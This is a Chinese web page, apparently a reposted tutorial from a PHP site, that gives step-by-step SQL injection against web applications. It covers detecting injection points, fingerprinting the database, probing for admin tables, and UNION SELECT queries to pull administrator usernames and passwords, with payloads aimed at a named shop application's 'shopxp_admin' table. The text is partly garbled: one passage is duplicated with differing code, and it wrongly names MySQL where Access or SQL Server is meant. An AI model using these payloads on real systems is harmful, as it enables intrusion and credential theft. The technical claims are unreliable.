检测有没有注入点：-mysql教程-PHP中文网

检测有没有注入点：

php中文网

发布： 2016-06-07 15:10:52

原创

1631人浏览过

检测有没有注入点：直接加一个'号，返回错误页初步断定有漏洞！然后 and 1=1 返回正常 and 1=2 返回错误调用查询时候有漏洞！然后查什么数据库！代码： and (select count (*) from sysobjects)=0 返回错误说明是Access数据库因为Access没有sysobject

Ztoy网络商铺多用户版

在原版的基础上做了一下修正：增加1st在线支付功能与论坛用户数据结合，vip也可与论坛相关，增加互动性vip会员的全面修正评论没有提交正文的问题特价商品的调用连接问题删掉了2个木马文件去掉了一个后门补了SQL注入补了一个过滤漏洞浮动价不能删除的问题不能够搜索问题收藏时放入购物车时出错点放入购物车弹出2个窗口修正定单不能删除问题VIP出错问题主题添加问题商家注册页导航连接问题添加了导航FLASH源文

查看详情

检测有没有注入点：
直接加一个'号，返回错误页初步断定有漏洞！
然后 and 1=1 返回正常 and 1=2 返回错误调用查询时候有漏洞！然后查什么数据库！
代码： and (select count (*) from sysobjects)>=0 返回错误说明是Access数据库因为Access没有sysobjects系统表！

如果返回正常那就打下面的代码：
and (select count (*) from msysobjects)>=0 如果返回错误说明是 mysql数据库因为 sql server没有msysobjects系统表！

之后查询没有没有admin表，代码：
and exists(select * from admin) 返回正常说明有admin表返回错误说明没有！

然后查询admin表有没有admin，password两个字段！代码：
and exists(select admin from admin) 返回正常说明有！错误则没有！
and exists(select password from admin) 返回正常说明有！错误则没有！
最后联合查询
order by 查该页面共有多少字段
union select 1,2,3,4,5,6,........n from admin 查账户名和密码的字段位置

TEXTBOX2.ASP?action=modify&newsi%64=

shopxp_admin
and exists(select * from shopxp_admin)
and exists(select admin from shopxp_admin)

union select 1,2,admin,4,5,6,7 from shopxp_admin

union select 1,2,password,4,5,6,7 from shopxp_admin

and exists(select admin from shopxp_admin)